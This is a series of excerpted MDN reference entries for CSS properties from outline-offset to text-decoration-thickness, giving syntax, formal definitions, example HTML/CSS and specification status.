syntax /* <length> values */ outline-offset: 3px; outline-offset: 0.2em; /* global values */ outline-offset: inherit; outline-offset: initial; outline-offset: unset; values <length> the width of the space between the element and its outline.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result sp...
...ecifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
outline-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies toall elementsinheritednocomputed valuean absolute length; if the keyword none is specified, the computed value is 0animation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples setting an element's outline width html <span id="thin">thin</span> <span id="medium">medium</span> <span id="thick">thick</span> <spa...
...yle: solid; display: inline-block; margin: 20px; } #thin { outline-width: thin; } #medium { outline-width: medium; } #thick { outline-width: thick; } #twopixels { outline-width: 2px; } #oneex { outline-width: 1ex; } #em { outline-width: 1.2em; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-width' in that specification.
... css level 2 (revision 1)the definition of 'outline-width' in that specification.
... recommendation initial definition.
overflow-anchor - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-anchor: auto; overflow-anchor: none; /* global values */ overflow-anchor: inherit; overflow-anchor: initial; overflow-anchor: unset; values auto the element becomes a potential anchor when adjusting scroll position.
... formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none examples prevent scroll anchoring to prevent scroll anchoring in a document, use the overflow-anchor property.
... body { overflow-anchor: none; } specifications specification status comment css scroll anchoring module level 1the definition of 'overflow-anchor' in that specification.
... editor's draft initial definition.
overflow-block - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-block: visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen from the list of values below.
... formal definition initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete formal syntax visible | hidden | clip | scroll | auto examples html <ul> <li><code>overflow-block:hidden</code> — hide...
...rder: 1px solid black; width: 250px; height: 100px; } #div1 { overflow-block: hidden; margin-bottom: 120px;} #div2 { overflow-block: scroll; margin-bottom: 120px;} #div3 { overflow-block: visible; margin-bottom: 120px;} #div4 { overflow-block: auto; margin-bottom: 120px;} result specifications specification status comment css overflow module level 3the definition of 'overflow-block' in that specification.
... working draft initial valueautoapplies toblock-containers, flex containers, and grid containersinheritednocomputed valueas specified, except with visible/clip computing to auto/hidden respectively if one of overflow-x or overflow-y is neither visible nor clipanimation typediscrete ...
overflow-wrap - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; /* global values */ overflow-wrap: inherit; overflow-wrap: initial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen from the list of values below.
... formal definition initial valuenormalapplies tonon-replaced inline elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | break-word | anywhere examples comparing overflow-wrap, word-break, and hyphens this example compares the results of overflow-wrap, word-break, and hyphens when breaking up a long word.
...(<code>hyphens</code>, german rules)</p> css p { width: 13em; margin: 2px; background: gold; } .ow-anywhere { overflow-wrap: anywhere; } .ow-break-word { overflow-wrap: break-word; } .word-break { word-break: break-all; } .hyphens { hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'overflow-wrap' in that specification.
... working draft initial definition initial valuenormalapplies tonon-replaced inline elementsinheritedyescomputed valueas specifiedanimation typediscrete ...
padding-block-end - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-block-end: 10px; /* an absolute length */ padding-block-end: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-block-end: 5%; /* a padding relative to the block container's width */ /* global values */ padding-block-end: inherit; padding-block-end: initial; padding-block-end: unset; values the padding-block-end property takes the same values as the padding-left property.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px;...
... background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
... editor's draft initial definition ...
padding-block-start - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-block-start: 10px; /* an absolute length */ padding-block-start: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-block-start: 5%; /* a padding relative to the block container's width */ /* global values */ padding-block-start: inherit; padding-block-start: initial; padding-block-start: unset; values the padding-block-start property takes the same values as the padding-left property.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px; background-co...
...lor: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
... editor's draft initial definition ...
padding-block - CSS: Cascading Style Sheets
/* <length> values */ padding-block: 10px 20px; /* an absolute length */ padding-block: 1em 2em; /* relative to the text size */ padding-block: 10px; /* sets both start and end values */ /* <percentage> values */ padding-block: 5% 2%; /* relative to the nearest block container's width */ /* global values */ padding-block: inherit; padding-block: initial; padding-block: unset; these values corresponds to the padding-top and padding-bottom, or padding-right, and padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment cs...
...s logical properties and values level 1the definition of 'padding-block' in that specification.
... editor's draft initial definition ...
padding-inline-end - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-inline-end: 10px; /* an absolute length */ padding-inline-end: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-inline-end: 5%; /* a padding relative to the block container's width */ /* global values */ padding-inline-end: inherit; padding-inline-end: initial; padding-inline-end: unset; values the padding-inline-end property takes the same values as the padding-left property.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px; background-col...
...or: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
... editor's draft initial definition ...
padding-inline-start - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-inline-start: 10px; /* an absolute length */ padding-inline-start: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-inline-start: 5%; /* a padding relative to the block container's width */ /* global values */ padding-inline-start: inherit; padding-inline-start: initial; padding-inline-start: unset; values the padding-inline-start property takes the same values as the padding-left property.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px; background-c...
...olor: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
... editor's draft initial definition ...
padding-inline - CSS: Cascading Style Sheets
/* <length> values */ padding-inline: 10px 20px; /* an absolute length */ padding-inline: 1em 2em; /* relative to the text size */ padding-inline: 10px; /* sets both start and end values */ /* <percentage> values */ padding-inline: 5% 2%; /* relative to the nearest block container's width */ /* global values */ padding-inline: inherit; padding-inline: initial; padding-inline: unset; constituent properties this property is a shorthand for the following css properties: padding-inline-end padding-inline-start syntax values the padding-inline property takes the same values as the padding-left property.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical...
... properties and values level 1the definition of 'padding-inline' in that specification.
... editor's draft initial definition ...
perspective-origin - CSS: Cascading Style Sheets
syntax /* one-value syntax */ perspective-origin: x-position; /* two-value syntax */ perspective-origin: x-position y-position; /* when both x-position and y-position are keywords, the following is also valid */ perspective-origin: y-position x-position; /* global values */ perspective-origin: inherit; perspective-origin: initial; perspective-origin: unset; values x-position indicates the position of the abscissa of the vanishing point.
... formal definition initial value50% 50%applies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valuefor <length> the absolute value, otherwise a percentageanimation typesimple list of length, percentage, or calc formal syntax <position>where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | cen...
...{ background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status comment css transforms level 2the definition of 'perspective-origin' in that specification.
... editor's draft initial definition.
perspective - CSS: Cascading Style Sheets
syntax /* keyword value */ perspective: none; /* <length> values */ perspective: 20px; perspective: 3.5em; /* global values */ perspective: inherit; perspective: initial; perspective: unset; values none indicates that no perspective transform is to be applied.
... formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valuethe absolute length or noneanimation typea lengthcreates stacking contextyes formal syntax none | <length> examples setting perspective this example shows a cube with the perspective set at different positions.
...ransform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'perspective' in that specification.
... editor's draft initial definition ...
place-content - CSS: Cascading Style Sheets
ontent does not take baseline values */ place-content: baseline center; place-content: first baseline space-evenly; place-content: last baseline right; /* distributed alignment */ place-content: space-between space-evenly; place-content: space-around space-evenly; place-content: space-evenly stretch; place-content: stretch space-evenly; /* global values */ place-content: inherit; place-content: initial; place-content: unset; the first value is the align-content property value, the second the justify-content one.
... stretch if the combined size of the items is less than the size of the alignment container, any auto-sized items have their size increased equally (not proportionally), while still respecting the constraints imposed by max-height/max-width (or equivalent functionality), so that the combined size exactly fills the alignment container formal definition initial valuenormalapplies tomulti-line flex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'align-content'> <'justify-content'>?
...he live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px; background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height: 50px; } result specifications specification status comment css box alignment module level 3the definition of 'place content' in that specification.
... working draft initial definition ...
place-items - CSS: Cascading Style Sheets
e-items: end normal; place-items: self-start auto; place-items: self-end normal; place-items: flex-start auto; place-items: flex-end normal; place-items: left auto; place-items: right normal; /* baseline alignment */ place-items: baseline normal; place-items: first baseline auto; place-items: last baseline normal; place-items: stretch auto; /* global values */ place-items: inherit; place-items: initial; place-items: unset; values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
... formal definition initial valueas each of the properties of the shorthand:align-items: normaljustify-items: legacyapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:align-items: as specifiedjustify-items: as specifiedanimation typediscrete formal syntax <'align-items'> <'justify-items'>?
...t:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
... working draft initial definition ...
repeating-linear-gradient() - CSS: Cascading Style Sheets
it is similar to linear-gradient() and takes the same arguments, but it repeats the color stops infinitely in all directions so as to cover its entire container.
...<color-stop-list> ) \---------------------------------/ \---------------/ definition of the gradient line list of color stops where <side-or-corner> = [left | right] || [top | bottom] and <color-stop-list> = [ <linear-color-stop> [, <color-hint>?
... specifications specification status comment css images module level 3the definition of 'repeating-linear-gradient()' in that specification.
... candidate recommendation initial definition.
<resolution> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<resolution>' in that specification.
... css values and units module level 3the definition of '<resolution>' in that specification.
... media queriesthe definition of '<resolution>' in that specification.
... recommendation initial definition.
ruby-align - CSS: Cascading Style Sheets
/* keyword values */ ruby-align: start; ruby-align: center; ruby-align: space-between; ruby-align: space-around; /* global values */ ruby-align: inherit; ruby-align: initial; ruby-align: unset; syntax values start is a keyword indicating that the ruby will be aligned with the start of the base text.
... formal definition initial valuespace-aroundapplies toruby bases, ruby annotations, ruby base containers, ruby annotation containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax start | center | space-between | space-around examples ruby aligned at the start of the base text html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: start; } result ...
...��</rp> </ruby> css ruby { ruby-align: space-between; } result extra space distributed between and around ruby elements html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-around; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-align' in that specification.
... working draft initial definition ...
ruby-position - CSS: Cascading Style Sheets
/* keyword values */ ruby-position: over; ruby-position: under; ruby-position: inter-character; /* global values */ ruby-position: inherit; ruby-position: initial; ruby-position: unset; syntax values over is a keyword indicating that the ruby has to be placed over the main text for horizontal scripts and right to it for vertical scripts.
... formal definition initial valueoverapplies toruby annotations containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax over | under | inter-character examples ruby positioned over the text html <ruby> <rb>超電磁砲</rb> <rp>(</rp><rt>レールガン</rt><rp>)</rp> </ruby> css ruby { ruby-position:over; } result ruby positioned under the text html <ruby> <rb>超電磁砲</rb> <rp>(</rp><rt>レールガン</rt><rp>)</rp> </ruby> css ruby { ruby-position:under; } result spe...
...cifications specification status comment css ruby layout module level 1the definition of 'ruby-position' in that specification.
... working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
scroll-behavior - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-behavior: auto; scroll-behavior: smooth; /* global values */ scroll-behavior: inherit; scroll-behavior: initial; scroll-behavior: unset; the scroll-behavior property is specified as one of the keyword values listed below.
... formal definition initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | smooth examples setting smooth scroll behavior html <nav> <a href="#page-1">1</a> <a href="#page-2">2</a> <a href="#page-3">3</a> </nav> <scroll-container> <scroll-page id="page-1">1</scroll-page> <scroll-page id="page-2">2</scroll-page> <scroll-page id="page-3">3</scroll-page> </scroll-container> css a { display: inline-block; width: 50px; text-decoration: none; } nav, scroll-con...
...5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: flex; align-items: center; justify-content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
... working draft initial specification ...
scroll-margin-inline-end - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-inline-end: 10px; scroll-margin-inline-end: 1em; /* global values */ scroll-margin-inline-end: inherit; scroll-margin-inline-end: initial; scroll-margin-inline-end: unset; values <length> an outset from the inline end edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> examples simple demonstration this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline-start - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-inline-start: 10px; scroll-margin-inline-start: 1em; /* global values */ scroll-margin-inline-start: inherit; scroll-margin-inline-start: initial; scroll-margin-inline-start: unset; values <length> an outset from the inline start edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> examples simple demonstration this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-margin-inline-end scroll-margin-inline-start syntax /* <length> values */ scroll-margin-inline: 10px; scroll-margin-inline: 1em .5em ; /* global values */ scroll-margin-inline: inherit; scroll-margin-inline: initial; scroll-margin-inline: unset; values <length> an outset from the corresponding edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2} examples simple demonstration this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline' in that specification.
... candidate recommendation initial definition ...
scroll-margin - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-margin-bottom scroll-margin-left scroll-margin-right scroll-margin-top syntax /* <length> values */ scroll-margin: 10px; scroll-margin: 1em .5em 1em 1em; /* global values */ scroll-margin: inherit; scroll-margin: initial; scroll-margin: unset; values <length> an outset from the corresponding edge of the scroll container.
... formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,4} examples simple demonstration this example implements something very similar to the interactive example above, except that here we'll explain to you how it's implemented.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin' in that specification.
... candidate recommendation initial definition ...
scroll-snap-type - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-type: none; scroll-snap-type: x; scroll-snap-type: y; scroll-snap-type: block; scroll-snap-type: inline; scroll-snap-type: both; /* optional mandatory | proximity*/ scroll-snap-type: x mandatory; scroll-snap-type: y proximity; scroll-snap-type: both mandatory; /* etc */ /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values none when the visual viewport of this scroll container is scrolled, it must ignore snap points.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ x | y | block | inline | both ] [ mandatory | proximity ]?
...idth: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { background-color: #87ea87; } .container > div:nth-child(odd) { background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
... candidate recommendation initial definition ...
scrollbar-color - CSS: Cascading Style Sheets
*/ /* global values */ scrollbar-color: inherit; scrollbar-color: initial; scrollbar-color: unset; values <scrollbar-color> defines the color of the scrollbar.
... formal definition initial valueautoapplies toscrolling boxesinheritedyescomputed valueas specifiedanimation typea color formal syntax auto | dark | light | <color>{2}where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...dandelion cucumber earthnut pea peanut soko zucchini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-color' in that specification.
... working draft initial definition.
scrollbar-width - CSS: Cascading Style Sheets
initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete syntax /* keyword values */ scrollbar-width: auto; scrollbar-width: thin; scrollbar-width: none; /* global values */ scrollbar-width: inherit; scrollbar-width: initial; scrollbar-width: unset; values <scrollbar-width> defines the width of the scrollbar as a keyword.
... mdn understanding wcag, guideline 2.1 explanations mdn understanding wcag, guideline 2.5 explanations understanding success criterion 2.1.1 | w3c understanding wcag 2.1 understanding success criterion 2.5.5 | w3c understanding wcag 2.1 formal definition initial valueautoapplies toscrolling boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | thin | none examples sizing overflow scrollbars css .scroller { width: 300px; height: 100px; overflow-y: scroll; scrollbar-width: thin; } html <div class="scroller">veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amarant...
...dandelion cucumber earthnut pea peanut soko zucchini.</div> result specifications specification status comment css scrollbars level 1the definition of 'scrollbar-width' in that specification.
... working draft initial definition ...
shape-image-threshold - CSS: Cascading Style Sheets
/* <number> value */ shape-image-threshold: 0.7; /* global values */ shape-image-threshold: inherit; shape-image-threshold: initial; shape-image-threshold: unset; syntax values <alpha-value> sets the threshold used for extracting a shape from an image.
... formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient this example creates a <div> block with a gradient background image.
... result specifications specification status comment css shapes module level 1the definition of 'shape-image-threshold' in that specification.
... candidate recommendation initial definition ...
shape-margin - CSS: Cascading Style Sheets
syntax /* <length> values */ shape-margin: 10px; shape-margin: 20mm; /* <percentage> value */ shape-margin: 60%; /* global values */ shape-margin: inherit; shape-margin: initial; shape-margin: unset; values <length-percentage> sets the margin of the shape to a <length> value or to a <percentage> of the width of the element's containing block.
... formal definition initial value0applies tofloatsinheritednopercentagesrefer to the width of the containing blockcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples adding a margin to a polygon html <section> <div class="shape"></div> we are not quite sure of any one thing in biology; our knowledge of geology is relatively very slight, and the economic laws of society are uncertain to every one except some individual who attempts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after t...
...ts truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
... candidate recommendation initial definition ...
tab-size - CSS: Cascading Style Sheets
WebCSStab-size
syntax /* <integer> values */ tab-size: 4; tab-size: 0; /* <length> values */ tab-size: 10px; tab-size: 2em; /* global values */ tab-size: inherit; tab-size: initial; tab-size: unset; values <integer> a multiple of the advance width of the space character (u+0020) to be used as the width of tabs.
... formal definition initial value8applies toblock containersinheritedyescomputed valuethe specified integer or an absolute lengthanimation typea length formal syntax <integer> | <length> examples expanding by character count pre { tab-size: 4; /* set tab size to 4 characters wide */ } collapse tabs pre { tab-size: 0; /* remove indentation */ } comparing to the default size this example compares a default tab size with a custom tab size.
...ml <p>no tab</p> <p>&#0009;default tab size of 8 characters wide</p> <p class="custom">&#0009;custom tab size of 3 characters wide</p> <p>&nbsp;&nbsp;&nbsp;3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment css text module level 3the definition of 'tab-size' in that specification.
... working draft initial definition ...
table-layout - CSS: Cascading Style Sheets
syntax /* keyword values */ table-layout: auto; table-layout: fixed; /* global values */ table-layout: inherit; table-layout: initial; table-layout: unset; values auto by default, most browsers use an automatic table layout algorithm.
... formal definition initial valueautoapplies totable and inline-table elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | fixed examples fixed-width tables with text-overflow this example uses a fixed table layout, combined with the width property, to restrict the table's width.
.../tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (revision 1)the definition of 'table-layout' in that specification.
... recommendation initial definition.
text-align-last - CSS: Cascading Style Sheets
syntax /* keyword values */ text-align-last: auto; text-align-last: start; text-align-last: end; text-align-last: left; text-align-last: right; text-align-last: center; text-align-last: justify; /* global values */ text-align-last: inherit; text-align-last: initial; text-align-last: unset; values auto the affected line is aligned per the value of text-align, unless text-align is justify, in which case the effect is the same as setting text-align-last to start.
... formal definition initial valueautoapplies toblock containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | start | end | left | right | center | justify examples justifying the last line <p>integer elementum massa at nulla placerat varius.
...nullam est eros, suscipit sed dictum quis, accumsan a ligula.</p> css p { font-size: 1.4em; text-align: justify; text-align-last: center; } results specifications specification status comment css text module level 3the definition of 'text-align-last' in that specification.
... working draft initial definition ...
text-decoration-color - CSS: Cascading Style Sheets
syntax /* <color> values */ text-decoration-color: currentcolor; text-decoration-color: red; text-decoration-color: #00ff00; text-decoration-color: rgba(255, 128, 128, 0.5); text-decoration-color: transparent; /* global values */ text-decoration-color: inherit; text-decoration-color: initial; text-decoration-color: unset; values <color> the color of the line decoration.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuecurrentcolorapplies toall elements.
...s <p>this paragraph has <s>some erroneous text</s> inside it that i want to call attention to.</p> p { text-decoration-line: underline; text-decoration-color: cyan; } s { text-decoration-line: line-through; text-decoration-color: red; text-decoration-style: wavy; } specifications specification status comment css text decoration module level 3the definition of 'text-decoration-color' in that specification.
... candidate recommendation initial definition.
text-decoration-line - CSS: Cascading Style Sheets
text-decoration-line: underline; text-decoration-line: overline; text-decoration-line: line-through; text-decoration-line: blink; /* multiple keywords */ text-decoration-line: underline overline; /* two decoration lines */ text-decoration-line: overline underline line-through; /* multiple decoration lines */ /* global values */ text-decoration-line: inherit; text-decoration-line: initial; text-decoration-line: unset; the text-decoration-line property is specified as none, or one or more space-separated values from the list below.
... formal definition initial valuenoneapplies toall elements.
...ss="wavy">here's some text with wavy red underline!</p> <p class="both">this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 3the definition of 'text-decoration-line' in that specification.
... candidate recommendation initial definition.
text-decoration-skip-ink - CSS: Cascading Style Sheets
syntax /* single keyword */ text-decoration-skip-ink: none; text-decoration-skip-ink: auto; text-decoration-skip-ink: all; /* global keywords */ text-decoration-skip: inherit; text-decoration-skip: initial; text-decoration-skip: unset; values none underlines and overlines are drawn across the full length of the text content, including parts that cross over glyph descenders and ascenders.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | all | none examples html <p>you should go on a quest for a cup of coffee.</p> <p class="no-skip-ink">or maybe you'd prefer some tea?</p> <p>この文は、 text-decoration-skip-ink: auto の使用例を示しています。</p> <p class="skip-ink-all">この文は、 t...
...�用例を示しています。</p> css p { font-size: 1.5em; text-decoration: underline blue; text-decoration-skip-ink: auto; /* this is the default anyway */ } .no-skip-ink { text-decoration-skip-ink: none; } .skip-ink-all{ text-decoration-skip-ink: all; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip-ink' in that specification.
... working draft initial definition ...
text-decoration-skip - CSS: Cascading Style Sheets
text-decoration-skip: none; text-decoration-skip: objects; text-decoration-skip: spaces; text-decoration-skip: edges; text-decoration-skip: box-decoration; /* multiple keywords */ text-decoration-skip: objects spaces; text-decoration-skip: leading-spaces trailing-spaces; text-decoration-skip: objects edges box-decoration; /* global values */ text-decoration-skip: inherit; text-decoration-skip: initial; text-decoration-skip: unset; syntax values none nothing is skipped.
... formal definition initial valueobjectsapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ objects | [ spaces | [ leading-spaces | trailing-spaces ] ] | edges | box-decoration ] examples skipping edges html <p>hey, grab a cup of <em>coffee!</em></p> css p { margin: 0; font-size: 3em; text-decoration: underline; text-decoration-skip: edges; } ...
... result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip' in that specification.
... working draft initial definition ...
text-decoration-style - CSS: Cascading Style Sheets
syntax /* keyword values */ text-decoration-style: solid; text-decoration-style: double; text-decoration-style: dotted; text-decoration-style: dashed; text-decoration-style: wavy; /* global values */ text-decoration-style: inherit; text-decoration-style: initial; text-decoration-style: unset; values solid draws a single line.
... formal definition initial valuesolidapplies toall elements.
...erline; -webkit-text-decoration-style: wavy; -webkit-text-decoration-color: red; } css .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } html <p class="wavy">this text has a wavy red line beneath it.</p> results specifications specification status comment css text decoration module level 3the definition of 'text-decoration-style' in that specification.
... candidate recommendation initial definition.
text-decoration-thickness - CSS: Cascading Style Sheets
syntax /* single keyword */ text-decoration-thickness: auto; text-decoration-thickness: from-font; /* length */ text-decoration-thickness: 0.1em; text-decoration-thickness: 3px; /* percentage */ text-decoration-thickness: 10%; /* global values */ text-decoration-thickness: inherit; text-decoration-thickness: initial; text-decoration-thickness: unset; values auto the browser chooses an appropriate width for the text decoration line.
... formal definition initial valueautoapplies toall elements.
...lid; text-decoration-color: red; text-decoration-thickness: 1px; } .thick { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 5px; } .shorthand { text-decoration: underline solid red 5px; } results specifications specification status comment css text decoration module level 4the definition of 'text-decoration-width' in that specification.
... working draft initial definition.
